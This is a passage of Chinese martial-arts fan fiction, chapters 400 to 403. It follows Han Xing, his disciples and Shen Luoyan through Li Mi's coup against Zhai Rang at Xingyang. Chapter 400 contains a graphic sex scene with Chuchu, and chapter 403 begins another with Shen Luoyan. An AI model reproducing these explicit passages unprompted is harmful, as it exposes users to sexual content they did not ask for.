没有了‘杨公宝库’的因素,沈落雁仍肯招揽二人,很多原因便是对韩星有信心,这么厉害的人收的徒弟总差不了那里去。而且沈落雁也调查过他们,一路以来,双龙的才智武功不断地成长,现在还不算怎样,但沈落雁也看出他们将来必成大器。
见二人面上不愿的样子,沈落雁又微笑道:“我也不逼你们,但你们先回答师娘一个问题,你们练得一身绝世功夫,总想能够出人头地吧。而当今群雄中里,有谁能及得上密公呢?”
徐子陵想起李世民脱口道:“李阀又如何?”
沈落雁不屑道:“四阀之主中,论武功,李渊只能排在榜末;论才略,他亦是倒数上来第一人。为人胆小怕事,优柔寡断,更贪恋美色;明知是杀头之罪,仍私下受了晋阳宫宫监裴寂从原属杨广所有的宫女中挑出的两名绝色,之后却又不敢干脆起兵,这样的人何能成大事,你们的眼光不致于差得如此厉害吧?”
两人早从韩星口中知道李渊的为人,倒也不太吃惊,只暗忖着:李渊自然不足为虑,但他儿子李世民却是个厉害的人物。


400
沈落雁得意地道:“至于杜伏威,只是黑道枭雄的级数,在江湖上争地盘是绰绰有余,但争天下嘛?何时才轮到他?”
顿了顿续道:“现在密公开仓济民,又传檄天下,数杨广十大罪状。天下人心,无不归向,识时务的,都该知道谁才是真命之主。”
徐子陵冷笑道:“你开口闭口都是李密,究竟置大龙头于何地?”
沈落雁好整以暇道:“那只能怪你自己胡涂。今天翟公已正式知会我,要我通知密公,他将退位让贤,只待众将领齐集,便会公告此事。所以我开口闭口都说密公,究竟有什么问题呢?”
两人一阵愕然,他们是知道韩星为翟让疗伤的事,翟让实在不可能这个时候退位让贤,可是沈落雁为什么要这样说?
两人同时福至心灵的想起韩星交托任务的时候,对他们说过:“其实你们不需要主动向她传递信息,她亦会想方设法试探你们,这时便是向她传递翟让受伤的消息的大好机会。”
想到韩星的话,两人终于明白沈落雁为什么这么说了:若翟让没有受伤,那他还有争上一争的本钱,根本不可能主动退位让贤。若他真的身负重伤,那退位让贤便变得理所当然了。
两人不由暗暗佩服着韩星的智能,居然把沈落雁的想法算计得这么精准。
两人对视一眼后,收敛惊讶的神色,做出理所当然的样子。
沈落雁不知有诈,见他们经过初始的惊讶后,便一点都不惊讶,更没有再追问自己翟让退位的事,心中已是断定翟让负伤。
寇仲暗道:“过犹不及,戏就做到这里,快转回原来的话题才行,免得被她看穿。”
于是不服气的道:“其它三阀又如何?他们肯坐看天下落人你们瓦岗军之手吗?”
沈落雁油然道:“宋阀势力偏于南方,只能依附北方之势成事,可以撇开不论。独孤阀和皇室关系太深,唇亡齿寒,亦无争天下之力。只有宇文阀人材众多,可以稍有作为。可借当了这么多年走狗,仇家遍地,杨广若亡,宇文阀只会成为众矢之的,任他们有三头六臂都应付不了。再说,韩郎最近又杀了不少宇文阀的高手,跟宇文阀的仇已经结大了,你们也肯定不可能投靠宇文阀对吧?”
徐子陵道:“那郭子和、刘武周、梁师都三人又如何,他们都有突厥在背后撑腰,你的密公怕也非是毕玄的对手吧!”
沈落雁从容自若道:“那恰好是他们最大的弱点,坦白说,你们希望突厥人的魔爪伸入中原吗?密公常说,逆人心者必败,杨广就是最好的例子。”
寇仲欲言又止,终没说出口来。
沈落雁笑道:“小仲是想说窦建德、王薄,又或沉法兴、李子通、徐圆朗等人吗?群雄中只有我们瓦岗军紧握运河黄河交汇的咽喉位置,西迫东都,东临江都,单从地理形势看,便无人可与我们争锋了。”
若韩星听到沈落雁的言论,一定会对她的话嗤之以鼻之余,亦会佩服沈落雁的思维和口才。像这种说服人才加入的论客,基本上都会这样,把别的势力踩得一文不值,以证明自己才是最有前途的势力。像最强的宋阀被她以势力偏于南方为借口,轻易撇过不提。
不错,宋阀势力偏于南方确实是个问题,但真就像她所说的那样,就只能依附北方之势成事吗?不见得。但沈落雁只稍微一提地势问题,就撇开宋阀不谈,是因为她知道宋阀除了这个问题外,实在没有什么大问题能支持她的论点了。所以避重就轻,继续谈其他势力存在的问题,而且绝口不提瓦岗的问题。
寇仲叹道:“那师傅呢?若师傅也要争天下呢?虽然师傅现在没什么地盘,但若师傅要做,我相信他很快就能打下一片领地。”
沈落雁没好气的道:“你们是真不知道还是假不知道?若韩郎真有心争天下,那不需要你们多说什么,我可以立刻舍了密公去帮韩郎的忙。但问题是我非常清楚韩郎根本没心争天下,别说你们看不出来。”
寇仲心里苦笑,师傅确没心争天下,但一直要我去争,也不知道师傅是怎么想的。
沈落雁见他们仍不为所动,叹道:“好了,话就说到这里,看着韩郎的份上我也不逼你们,你们自己想清楚吧。”
言罢起身往门外走去。
得知翟让确实负伤的消息,她已经得到今晚最大的收获,而且看在韩星份上她亦不会强逼双龙。又因为双龙是翟让的客人,而李密又未正式跟翟让决裂,李密也不能怪沈落雁没有留住他们。
沈落雁推开房门,忽又回过头来,问道:“对了,你们师傅是否也在荣阳城中?”
“我们也不知道,师傅一向行踪飘忽,神龙见首不见尾的,就算来了也不一定会与我们碰面。”
徐子陵模棱两可的答道。
沈落雁幽幽一叹:“不知怎的,这段时间我一直觉得他就在附近。”
言罢,往外走了,同时轻轻关上了门。
二人对视一眼,也跟着离开了黛青院。
韩星带着素素回到龙头府,却见屠叔方坐在素素房间外,神色黯然的等着他。
韩星让素素先回到房间后,向屠叔方问道:“怎么了?老屠,才半天不见,怎么愁容满面的?到底是什么事让屠大总管这么烦心呢?”
“我跟大龙头说过了。”
屠叔方摇摇头,叹了口气道:“我跟他已经再三暗示过了,可惜他一点儿也听不进去!还让我把大小姐带走,他看来是决心跟李密死拼到底了。你看,他还把这一个东西交给了我,说如果他万一出了事,就把这一个东西给河北的窦建德,让窦建德日后想办法报仇。”
屠叔方掏出了一个龙纹戒指,抛给韩星道:“这个东西还是由你日后有机会交给窦建德吧!也许等你来做,事情会容易些。”
“你这是整一个大麻烦给我!”
韩星虽然口如此地说,可是也收下了那只龙纹戒指。
“在这里,有实力,又信得过的人就只有你了。”
屠叔方见韩星收下戒指,不由也有些高兴,脸上的黯然之色退了不少,站起来,用厚实的大手拍打一下韩星的肩膀道:“大小姐现在不知道,日后相信也一定愿意交给你去做这件事的。窦建德就算跟大龙头有再过命的交情,相信也不会给大龙头报仇的,要我老屠来说,不如寄望你直接杀了李密更加爽快些。”
“可别!”
韩星急忙摆手道:“戒指我会帮你去给窦建德,不过别的我可没有答应你,李密我会尽量玩残他,但他的命还要看以后的变化再说。”
其实要韩星去刺杀李密,那是绝对办得到的,但韩星要顾虑沈落雁的感受。若他不顾一切杀掉李密,那必定会伤了二人的感情。李密是生是死韩星都没什么所谓,但韩星还是相当重视沈落雁的感受,就算要暗算李密,也是让翟让和王伯当来做,绝不会亲自出手。
韩星忽然问道:“对了,老屠,你觉得小仲小陵怎样?”
“那两个小子不错,尤其是武功进展非常快,昨天已经单独且用普通刀兵打败我了。”
屠叔方叹道。要知道他屠叔方在瓦岗可是除了翟让、李密、王伯当外武功最强的,现在却不敌一个练武不到三年的年轻人,不到他不感叹一声:“长江后浪推前浪。”
韩星又问:“若有一天你们大龙头不在了,而小仲他们起事,你能不能帮他们一把。”
“为什么是他们,而不是你呢?”
屠叔方问道:“他们虽然有潜力,但都不如你。”
“这个问题先别谈。”
韩星尴尬道:“我就问你愿不愿意帮小仲一把?”
“当然可以。”
屠叔方哈哈大笑道:“我也想找点事做,等迟些日子,大小姐安顿好了之后,要是小仲他们真的要起事,我就带我管着的那一大班小子去找他们吧!相信我们也能派上一点点用场的。”
“很好。”
韩星大喜道:“有你老屠加入,想来那两个小子也敢大胆点了。到时,老屠你就给小仲当当大教官,替他们负责训练一些武功和军纪上的东西。”
“这是我最有兴趣也拿手的。”
屠叔方重重点头道:“听你的,就干这个,我老屠虽然带兵打仗不怎么在行!自问武功还不错,哦,当然不能跟你比,我练练兵还是可以的,”
“好了,我去准备一下。”
屠叔方又说了一句后,便走了。
屠叔方走后,韩星暗忖着:还是让素素和楚楚跟屠叔方一起离开安全一点,屠叔方恐怕今晚就要安排人离开了,临走前去见楚楚一面吧,跟她亲热过后,都没好好跟她说过话。
韩星很快便在楚楚的房间找到楚楚,楚楚一见韩星不待他多说,便热情的飞奔入韩星怀里:“大哥,楚楚今晚就要走了。”
“我知道。”
韩星轻抚着楚楚的秀发道:“所以才特意来见你一面。”
楚楚欣然道:“大哥你真好,只是不知道什么时候才能再见。”
说到后面又忧郁起来。
韩星安慰道:“放心吧,我会安排小仲小陵跟着你们,出了荣阳后让他们带你和素素离开大队,到附近的小镇等我。我们过几天就会再见了。”
“真的?”
“真的!”
“……”
一阵沉默后,楚楚抬头看着韩星的脸,忽然道:“大哥,再要楚楚一次吧。”
“什么?”
楚楚的大胆让韩星吃了一惊:“可你昨夜才破身。”
“人家才不管那么多。”
楚楚摇摇头道:“今早起身后,人家就已经不像昨夜那么痛了。”
韩星暗忖着:我一直都有用长生真气帮你温养,当然不痛了。
“大哥,你就给人家吧。”
楚楚再次求欢。
临别依依,美人主动求欢,有多少个男人能够拒绝呢?反正韩星是拒绝不了。
韩星本想拉上素素一起来一个双飞的,但想到既然是楚楚主动求欢的,想来她也希望自己给她一个完美的道别,且这丫头才入门没多久,就先多宠她一下好了,便打消了这个念头。抱着楚楚飞奔回自己的房间。
楚楚坐到韩星的床上,主动道:“大哥,吻我。”
临别在即她实在不想浪费时间。
“楚楚你今天真主动。”
韩星笑了笑将她拉入怀中,低头一口吻住她。一只手放在她诱-人的身体上抚摩着。良久,韩星才放开她,道:“楚楚乖,帮大哥宽衣。”
“嗯。”
楚楚红着脸,点了点头。她的双手却已经在韩星的身上开始帮助他解除武装了!直到韩星露出了那强健的体魄,她这才乖乖地坐在了床上之上,任由韩星在她的身上上下其手!
韩星现在的“脱衣神功”已经到了一个出神入化的地步了,没一会儿眼前便出现了一个浑身白皙,身材火辣的性感小绵羊!
“大哥……”
楚楚看着站在椅子边上向自己靠近的男人,双手主动地抱住了他的虎背熊腰,修长健美的双腿也跟着分开来,架在他的腰上!
“大哥要进来了哦!”
韩星站在地上,微微弯曲身体,让坐在床上上张开双腿的美人对好位置,他的一手撑在了床上,另一只手则是揉搓着楚楚胸前的高耸玉乳,强壮的身体向着她压去。
“大哥进来了哦!”
韩星挺直了身体,双手抓住了她的双手尽量地分开,在身下美人那紧窄的轨道之上,火热的神器一路过关斩将,开山劈石!
楚楚秀眉微微皱起,“噢……”
一声痛苦的娇吟脱口而出,雪白迷人的胴体浑身剧烈地颤抖着,她的双手扯着床单,小嘴一口咬在了韩星的肩膀之上。
“好痛!”
楚楚的蜜穴宛若处子一般狭窄,而韩星的龙头也一如既往的巨大,楚楚觉得自己的身体好像又要被韩星撑裂一样,不过毕竟已经不是处子,所以她的身体很快就适宜了。
楚楚满脸尽是红霞小嘴微微张开,在痛苦与快乐之间游走着!
“嗯……我、我要……啊……大哥……嗯……你动嘛……啊……好难受哦……嗯……”
听得小美人的放浪呻吟韩星这才轻轻抽动,可是,只要他一动,楚楚的蛾眉总是颦蹙在一起,似乎还在忍受着痛苦似的。
“楚楚,你的还是这么紧,到现在都还会觉得痛吗?”
韩星咬着她的耳朵问道,他又一边轻轻加大了小幅度的进出,那狰狞的肉棒带着丝丝银色的春水,不断地在身下少女的玉壶之中抽送着!
如此数十个回合,楚楚那如芙蓉般娇艳的脸上渐渐露出娇羞舒服的表情,嘴角微微上扬带着几丝笑意,眼睛却不肯睁开,双腿夹紧了韩星的腰部。
“嗯……因为……大哥的很大……啊……你的好大……好热……嗯……塞得人家满满的……啊……嗯……好、好舒服啊……嗯……顶到里面啦……嗯……”
随着楚楚的放浪声,韩星慢慢地加速,幅度越来越大,销魂蚀骨的快感传遍了这一对共赴巫山的男女全身的每一个细胞,让他们感到无比的畅酣,浑身就像是飞上了九天之外,又从上面疾速而下,那种淋漓尽致的快感让他们逐渐沉浸在欢爱的潮流之中!
作者:桃花仙


401
韩星跟楚楚几番欢好后,天色已经全黑,楚楚要回自己的房间收拾细软准备离开,只有韩星一个回到素素的房间,只见双龙已经在等着自己,却不见素素的身影。
韩星问:“你们怎么在这里,素素呢?”
寇仲答道:“素素师娘被翟大小姐叫走了。”
韩星暗忖大概是准备离开的事宜,也就没有在素素的事上计较。又问:“事情办得怎样,遇到落雁了吗?”
“事情已经办成了。”
寇仲答道又把跟沈落雁相遇的事宜详细告知韩星,临了又道:“师娘她似乎已经察觉到师傅就在城内。”
韩星点点头没有太过惊奇,沈落雁也跟自己双修了好几次,会对自己有感应那也正常。又道:“我有个新任务交给你们,你们今晚跟着屠叔方离开,以你们跟屠叔方的武功应该没什么危险才对,等出了荣阳后你们便带楚楚和素素离开他们的大队,到附近的小镇等我,最迟一个月我就会与你们汇合。”
寇徐二人是知道韩星跟楚楚的关系的,也没有太过惊奇,又与韩星商量一下汇合的地点暗号之类的,便去找屠叔方。
半夜,韩星想着反正过几天就会再见面,无谓徒增那么多离愁别绪,也就没有去送行,而是回到自己的房间睡了一夜。
第二天清晨,敲门声响,素素的声音在门外响起道:“大哥在吗?”
韩星心里一惊:“素素不是走了吗?怎么还在这里?”
一边想着一边开门迎素素进房。
岂知她门才关上,便搂着韩星痛哭起来,呜咽道:“大哥,大小姐走了!”
韩星才没空管那只非人生物走没走,他关心的是素素怎么没走,便问:“素素,你怎么没跟着他们一起走?”
素素一边抽泣一边道:“不是大龙头安排我们随第二批离开的吗?”
韩星恍然大悟,知道翟让已经信不过自己,故意留下素素牵绊着自己。没有素素,只有韩星一人的话,韩星将有着超高的机动性,来去自如什么人都留不下他。这种情况下,翟让自然不相信韩星肯留下来陪他跟李密拼命了,于是便留下素素作为韩星的牵绊。至于双龙,他们经验尚浅,韩星想都不想就知道肯定是被翟让用什么手法欺瞒过去了。
韩星虽然越发的讨厌翟让,但也不会在素素面前说他坏话,不住地好言安慰着。
素素双目微红道:“屠总管催得很急,她们昨天半夜就走了。大哥,现在是不是有什么情况啊?怎么她们走得那么急?”
韩星道:“时间上出了点问题,翟让的伤势只恢复个六七成,而李密已经攻下洛仓,其声威根本不是翟让能比。李密已经忍不住了,暗暗调来了自己的亲兵准备谋反,说实在我也不太看好翟让。翟让安排自己的女儿离开,显然也看出这点。”
“这么说大老爷有危险了?那该怎么办?大哥能帮帮老爷吗?”
素素急忙道。
“恐怕帮不了,这种事一个人的武功很难左右的,翟让有今天,只怪他不善权谋,更不会拉拢人心。”
韩星又道:“拿你来说吧,想来你也看得出翟让会收你为义女,根本就是想通过你来拉拢我。”
素素点点头,她是心思单纯不假,但不代表她就是笨蛋,这么明显的事她从最开始的激动冷静下来后,自然能够看得出。所以一直以来她仍以婢女的身份自居,一来对方本就没这个心,她也实在提不起心思以小姐身份自居。二来也她也不想因为自己而给韩星压力。
韩星续道:“用这种拉拢人心的手法拙劣就算了,可你到现在都仍叫他老爷,除了最开始你叫他一声义父外,你一直都还叫他老爷,他有没有纠正你的称呼?显然,他没有。连最基本表面的功夫都不会做,从这点就可以看出他根本就不会拉拢人心,他或许能做个不错的将领,但实在不适合做一方势力的首领,偏偏他又无法认清这个事实。那会有这么一天也是迟早的事。”
素素似懂非懂的点点头,不过她也看得出韩星是实在不想帮翟让,也就没有勉强韩星,毕竟韩星曾为翟让疗伤已经对得起翟让了,谁能说他什么。
韩星又道:“李密随时都会攻打龙头府,这段时间你都跟我在一起,我好保护你。现在翟让肯定不让我们离开,明天他们警戒放松后,我就带你离开荣阳城。”
素素心中涌起无限的温暖,无论什么时候韩大哥都会保护自己的。
一天时间就这么过去,晚饭后,两人回到房间。
韩星知道李密随时都有可能进攻龙头府,也就没有心思跟素素亲密,不过素素闻着韩星刚阳的气息,心中不由多了几分遐想,身体也有些不自然的扭动。
韩星不由调笑起来:“怎么动来动去的?是不是两天没动你,现在又想跟大哥亲热了?”
“才不是呢。”
素素大羞道。
韩星继续调笑道:“哦?不是吗?我本来还想若你真想要了,我就给你。”
素素嗔道:“大哥……你就会作弄人家。”
“好了。”
韩星语气一正,道:“今天真的不行,天知道李密什么时候打过来,到时又要穿衣服的逃起来不方便。最怕就是我们做到一半的时候,他突然杀进来,那时不上不下的才叫麻烦哩。”
说到后面又不禁用起调笑的语气。
“大哥……”
素素大嗔时,“批啪”一声不知从何处传来,接着是叫嚷声。
韩星跳了起来,推窗外望,只见前院处火焰冲天而起,声势骇人。
素素来到他旁,目睹情况,不由呆若木鸡,她终究没有看过太多大场面吓得有些腿软。
韩星见状,知道她一身武功是发挥不到什么效用了,便抱起素素冲窗而去。
这时,翟让的声音在左方响起道:“反贼李密,可敢与我翟让单打独斗?”
李密那柔和好听的声音响应道:“人龙头有请,李密怎敢不奉陪。”
韩星压根没想过真要与翟让联合起来对付李密,自不会关心他们的对决,径直地往龙头府外走去。
翟让的大龙头府多处起火,且不住蔓延,火光烛天,映得天上的乌云像一块块紧压人心的大石。火势虽愈趋猛烈,却无人救火,府内则喊杀震天,伏尸处处。李密方面的人都穿上黑色夜行衣,易于辨认。
李密的手下极有组织,三五成群的往来巡觅搜索,见到不是穿黑衣者便毫不留情的杀死。
反之翟让方面的家将却为一盘散沙,且人人拼命突围,无心恋战,强弱之势,显而易见。
韩星才走了十多步,一组约十多个的敌人,由其中一座房子破门越窗冲出,狂攻而至。
韩星双手抱着素素,只得用双腿不住地使出‘风神腿’对敌,竟未有一人是其一合之将,皆被韩星一招击退,或死或伤。
由于场面实在太过混乱,于是韩星便退入了火光不及的一处矮林里,似乎敌人暂时将他们遗忘了。
往西望去,翟府大部分的房字都陷进火海中,翟让的惨呼传来:“李密!————”
素素哭道:“老爷定是死了。”
这时,李密一声惨呼传来:“啊!——————王伯当!你这个叛徒!”
素素一下子搞昏了,不知道是那个遇害了,韩星却明白是自己埋下的暗棋生效了。至于王伯当是什么命运,韩星自然懒得理会,反正好不到那里去。
韩星无暇安慰素素,往墙外跃去,立刻见到墙外有一排箭手候着,那些箭手一见有人冲出,连忙把箭射出。韩星吃了一惊,打掉冷箭后,无奈退回府内。
韩星问道:“没有可躲起来的地方?”
素素闻言呆了片刻,指着座落东园之北的一座水池中的假石山道:“快到那里去!”
韩星想也不想,抱着她朝十多丈外的大水池掠去。
素素继续道:“石山里有个养鱼种的水池,干涸后成了个小方井,非常隐蔽。”
韩星大喜依着素素的指示,挤在只五尺深,约四尺见方的小井里,除非有人挤进石山缝隙,来到井边,否则休想发觉二人。
随着喊杀声逐渐平定下来,韩星心里暗道:“翟让完了,就是不知道李密有无成太监。”
忽觉襟头凉浸浸的,原来素素正在默默垂泪,显然她也猜到翟让的结局。
韩星安慰道:“不要哭了!翟让当年领兵起义,该早预想到或者会有今天。现在的情况,不是你杀我,就是我杀你。”
外面倏地静寂下来,只有微细的衣袂破空的风声,不时响起,显然李密方面的人正进行彻底的搜索,找寻漏网的人。
不多时,便响起几人谈话的声音,韩星认得是李密手下几名得力助手的声音,分别是徐世绩、祖君彦和沈落雁的声音。
沈落雁那好听的声音响起道:“君彦,密公的伤势如何?”
祖君彦带点惆怅的声音响起道:“不太妙,大夫说密公以后生育可能会有问题。还好,密公还有大公子……应该不会因此而颓废。”
YES!韩星心中欢呼:“李密果然做了太监了。”
徐世绩的声音响起道:“真想不出王伯当为什么要那样做,当时翟让那死鬼都被密公杀了,就算他是翟让的人,那时也该知道弃暗投明才对。怎么还会暴起伤了密公。”
显然,另外两人也想不出为什么,只是低声附和一下。
祖君彦又道:“有手下报告,曾见到韩星的身影,还抱着那个叫素素的婢女。密公吩咐,一定要找到他们。密公认为‘杨公宝库’的秘密应该只掌握在韩星身上才对,而‘杨公宝库’始终是个变数,若不能得到,那也不能让别人得到。”
沈落雁道:“可韩星武功高绝,我们怎么才能捉到他?”
祖君彦冷哼道:“不错,韩星武功是高,若只有他一人还真的很难捉到他,但他生性多情,必不会丢下那婢女独自逃生。带着个手无搏鸡之力的女人,他行动起来就没那么方便了,要捉他也不是没可能的事。再说,就算捉不到,也可以把他乱箭射死。”
韩星心理暗骂祖君彦之余,也确实有种投鼠忌器的感觉,有素素在确实大大地限制了他一身武功和高绝的行动力。当然,这些都没在素素面前表现出来。


402
待三人走远后,素素想起祖君彦的话,不由歉然道:“大哥都是我连累你。”
韩星抱紧她道:“你是我的女人,照顾你是应分的,有什么连累不连累的。好了,你也累了,就在这里睡一觉吧。等人少一点我再带你离开。”
素素这夜确实又惊又累,听了韩星的话,不到半刻便睡了过去。韩星则深拥着她假寐着。
不多久,天上下起细雪把韩星惊醒,见天气越发寒冷,怕素素受不了,韩星便运转长生诀第七幅运功路线。素素本来就要被冷醒,感受到韩星温热的气息后,感觉全身暖洋洋的极为舒服,昏昏沉沉的又睡了过去。
细雪逐渐变大,把二人上方的空间填满,韩星当然没有任何问题,他功力已达先天,进入胎息状态后,根本不需要空气。但素素可没有这样的本领,立时感到呼吸困难,呻吟道:“我很气闷哩!”
韩星正要推雪而出,让素素呼吸点新鲜空气。密集的足音由远而近,有人道:“放掉池水,听说寇仲和徐子陵精通水中闭气之术,韩星应该也会此法,说不定躲在池底里。哼!这水池给我细心再搜一次。”
二人认得是徐世绩的声音,那还敢动。
韩星听到素素的呼吸愈转急促,这样下去只是她呼吸之声,已足可惊动敌人,何况她却仍可能会活生生闷死。韩星只好嘴巴凑上她香唇,把真气度过去。
素素娇躯轻抖一下,接着平静下来,香唇由冰冷转为灼热,默默接受着令她浑身舒松的真气。
“哗啦!”
水响。
有人打开了水闸,池水正不断逸走。
这时沈落雁的声音在外面道:“我看他们早逃走了。这水池现在一眼望尽,那藏得了人。”
徐世绩显然亦有同感,冷然道:“他们该仍在城里,我们立即发动人手,逐家逐户去找,看他们能逃到哪里去?”
说着转身往外走去,浑不知道沈落雁在他走后,用疑惑的眼神往二人藏身之处望了几眼。
到沈落雁等走后许久,韩星破雪而出,喜道:“全走了哩!”
然后才把素素抱了出来。
原来早天亮了,大雪纷飞下,翟府变成了火劫后的败瓦颓垣。
素素曲膝整晚,两腿酸麻,韩星便助她疏通气血,却见素素俏脸微红,忍不住调笑道:“不就亲亲嘴儿嘛,更亲密的地方都亲过了,还害羞?”
素素面红嗔道:“刚刚的感觉特别……”
“刺激?”
韩星接口道。
“嗯”素素蚊呐的应了一声。
韩星又跟素素调笑一番后,问道:“素素,你知不知道落雁住在那里?”
素素这段时间已经知道韩星和沈落雁的关系,但仍然吃了一惊:“你不是要躲到她家吧?”
韩星点头道:“我知道你担心什么,放心吧,落雁虽然一心帮助李密,但肯定不会害我。刚刚她不就帮我们解围了吗?”
“你是说,她是知道我们躲着里面的?”
素素惊道。
韩星道:“每次我接近你的时候,你应该都会有一种奇特的感觉吧。”
素素点头道:“嗯,我还一直都有点奇怪哩。”
韩星道:“跟我双修过的女人都会有这种感觉。当然,落雁也会有这种感觉,所以她刚刚一定知道我就在里面,故意替我解围。”
素素终被韩星说服,说出了沈落雁府第的位置。
二人待到天黑后,韩星背着素素借着夜色的掩护,展开身法,飞檐走壁的朝沈落雁居所潜去。
若非素素曾陪翟娇去找过沈落雁,就算手上拿有她地址,恐怕仍要费一番工夫才能找到这美人儿的香居。沈落雁的居所座落城东的民居之中,房舍鳞次节比,包括她的香居在内,数千间院落,一色青砖青瓦,由小巷相连,形成深巷高墙,巷窄小而曲折,数百道街巷曲里拐弯,纵横交错,都以大青石板铺地,形式大同小异。在这样的坏境里,要找沈落雁的香居还真不是件易事。
沈落雁的香居若从门外看去,实其他民居无异,只是门饰比较讲究,不像邻居门墙的剥落残旧。
但内中却是另一回事,不但宽敞雅,园林院落浑成一,布局清幽,建筑还别出心裁,颇具特色。
这座名为落雁庄的庄院以主宅厅堂为主,水石为衬,过道回廊假山贯穿分隔,高低曲折,虚实相生。
水池之北是座歇山顶式的小楼,五楹两层,翘用飞檐,像蝴蝶振翅欲飞,非常别致,沈落雁的香闺就在那里。
小楼后是蜿蜒的人造溪流,由两道小桥接通后院的婢仆居室和仓房。
落雁庄占地不广,但是丘壑宛然,精妙古朴,极具诗意。
韩星背着素素由侧墙跃入院里,看到落雁庄内的景色,呆了一呆后,低声叹道:“建设这落雁庄园林的人必是此道中的高手,虽然还比不上鲁妙子的‘安乐窝’,但住在这里确可使人感到分外舒适。”
素素道:“我听大小姐说过,这落雁庄是沈落雁亲手设计的。大哥,鲁妙子是谁?”
韩星答道:“天下第一巧匠。”
见素素好像没什么反应,韩星又道:“‘杨公宝库’内的布局机关就是那家伙设计的。以后我要隐居,就找他给我们设计一个大大的庄园。”
韩星心里默默加了一句:像后宫那么大。
素素欢喜道:“真的?”
“真的。”
韩星答道,心里又想到:“就怕鲁妙子撑不到那个时候,等回飞马牧场后一定要彻底治好他的伤势才行。”
韩星又对素素道:“落雁可以信任,但那些下人还得小心一点,你在这里等着,我周围看看。”
韩星让素素躲到暗处,自己到处察看一下,不多久他已弄清楚庄内只有四名小婢,一对夫妻仆人,都是不懂武功的。
于是,韩星将素素带到一所看来久无人居的客房里。
将素素安顿好后,韩星便往沈落雁的闺房掠去。刚刚周围察看的时候,他就知道沈落雁正一个人待在自己的闺房,韩星想也不想就知道沈落雁那是在等自己。
沈落雁坐在窗外,看着外面的星空,轻轻地叹息了一声,心中幽幽的想着:“那家伙难道不打算来见见我吗?”
韩星猜得不错,早上的时候沈落雁确实非常清晰地感应到韩星,所以才劝走徐世绩为韩星解围。而且沈落雁认为韩星要带着素素走,找自己来安排他们离去荣阳是最好的方法,也就是说韩星应该会来见自己一面。
难道他信不过我?沈落雁心里问道,一阵伤感的情绪不由升起:难道就因为自己辅助密公的缘故,而导致两人的感情产生隔阂,让自己有生以来最为重视的一段感情产生不可弥补缺陷?这样是否值得?
一边是自己的理想,一边是自己的终身幸福,沈落雁也无从抉择。
“不对,他不应该信不过我。他应该知道我根本没有任何动机要捉他。”
沈落雁忽然想到。
李密之所以那么想捉韩星无非是为了‘杨公宝库’。但沈落雁是知道‘杨公宝库’的部分秘密,知道‘杨公宝库’最大的价值不过是那条通往皇宫的秘道没,里面虽然有些宝藏,但绝不足以像传闻说的那样“得之可安天下”那么夸张。所以沈落雁认为,自己跟韩星应该还没有那么多利益冲突才对。
或者他只是顾忌我对那个叫素素的婢女的看法,才不来见我?沈落雁心里又生起另一个想法,若事情真是这样,那她亦好受一点,起码韩星还在乎自己的感受。
夜已经深了,他今天是不会来了罢。
沈落雁虽然觉得韩星不会再来了,便关了窗钻入被窝里,可是却不舍得睡。
她总是希望他会在黑暗中偷偷地摸进来,给自己一个惊喜,让自己扑到他的怀里诉说自己有多么的想念他,有多么挂念,自彭城分离之后,她就一直盼着与他重逢。她甚至不愿意让婢女打扫她的房间,她亲手将它布置,等着那个爱使坏的家伙来赞美一番。
外面似乎有些风声,沈落雁自床上爬起来,打开窗帘看看。外面一片无尽的黑暗,一片无尽的寒意,除此之外,什么也没有。沈落雁看了半天,没有发现韩星的身影,不由失望地坐到书桌前。
失望的负面情绪升起,沈落雁不由再次把事情往坏处想:他可能真的不信任自己罢,他跟我在一起永远都要保留几分警惕,不可能与我毫无保留地相爱。
沈落雁想着想着,不由自美目之中滚下几颗珠泪来。
韩星来到时,正巧看到这一副画面,心痛之余想起一首后世诗词,一边将她拥入怀中,一边念道:“美人卷珠帘,深坐颦蛾眉;但见泪痕湿,不知心恨谁?”
“恨你,恨你恨你就恨你!”
沈落雁又惊又喜,挣扎起来,回过身去,扬起小拳头想狠狠揍他几拳,可是心里又不舍得,后来一看他脸上笑得贼兮兮的,更觉得可恶,于是扑过去,狠狠地咬上去,咬着他的唇,再也舍不得放开。
韩星抱着沈落雁,带着她飞到空中旋转起来,两个人爱情缠绵,深吻不放。
未见面时,沈落雁总想着如何对韩星诉说自己的思念,然而见面、相拥、深吻后,她发现自己最想要不是跟韩星说什么情话,而是最简单最直接的希望能得到韩星身体上的慰藉。要是韩星现在推开她,说一些不着边际的情话的话,顾忌她立刻就要抓狂。
所幸,韩星早已不是那种不懂情趣的初哥,他从对方为吻就能看出对方最需要的是什么。沈落雁的吻如此热烈,如此毫无保留,一开始便已吐出香舌供自己品尝,已经给了韩星强烈的暗示。韩星又在其背臀处上下抚摸着,沈落雁只是动情的反应着,根本没有任何不悦的表现,韩星哪会不明白她已经彻底地动情了。这种时候还要说一番情话再开始,那就是大煞风景的白痴行为了。


403
韩星一边吻着沈落雁,一边把她引到原本只属于她一个人的绣床上,让她仰躺着。韩星的吻夹杂着对佳人的情意如雨般落下,再她如薄玉一样的唇片上吻着、舔着、咬着!
沈落雁则是半合着眼睛,享受着这个让自己一见倾心的男人对她的情意与温柔。韩星的双手适时的攀上那一对丰-满坚挺之上,轻轻的,慢慢的揉捏着,让它们在自己的手中如美艳的花朵般盛放!
双手逐渐移到佳人那纤细柳腰的要带上,韩星在沈落雁的耳边轻声道:“我的雁儿你真美,我现在就要你。”
沈落雁深情的看着韩星,她已经不能够拒绝这个男人的要求了!
既然不反对那就是同意了。韩星心中意会,当下不再停留,一把撤开她的腰带,大胆的掀起那覆盖这美艳少妇温玉胴体的裙子!
“嗯……嗯……”
沈落雁发出两下很自然的哼声。
她今晚穿着一粉红色的肚兜,胸前那对饱满雪-乳似乎将要裂衣而出,隐隐约约可以看到两座山峰之间的丘壑!
韩星看着身性感肚兜的风韵美艳少妇,心中一阵豪情万丈!只要想到在敌人的地盘里把敌人的军师给上了,他便觉得前所未有地兴奋起来!
躺在床上的沈落雁见韩星迟迟没有动作,不由睁开眼睛,顿时看到韩星伏在自己身上紧紧的盯着自己的娇躯。
在他的注视下,沈落雁身体一阵火热,下身也渐觉空虚,又不自觉的“嘤咛”一声。“不要看!”
女人的本能让她羞涩不已,沈落雁一只手按在自己双腿间,一只手覆在自己的一对玉峰之上,想要把自己外露的春光给遮掩起来!
看到平时一贯风流样子的沈落雁露出娇羞的样子,韩星心中大喜低低头在她的手背上亲吻了一下,并把她的手拿开按到一侧,而韩星掌心慢慢落在沈落雁的胸口上。
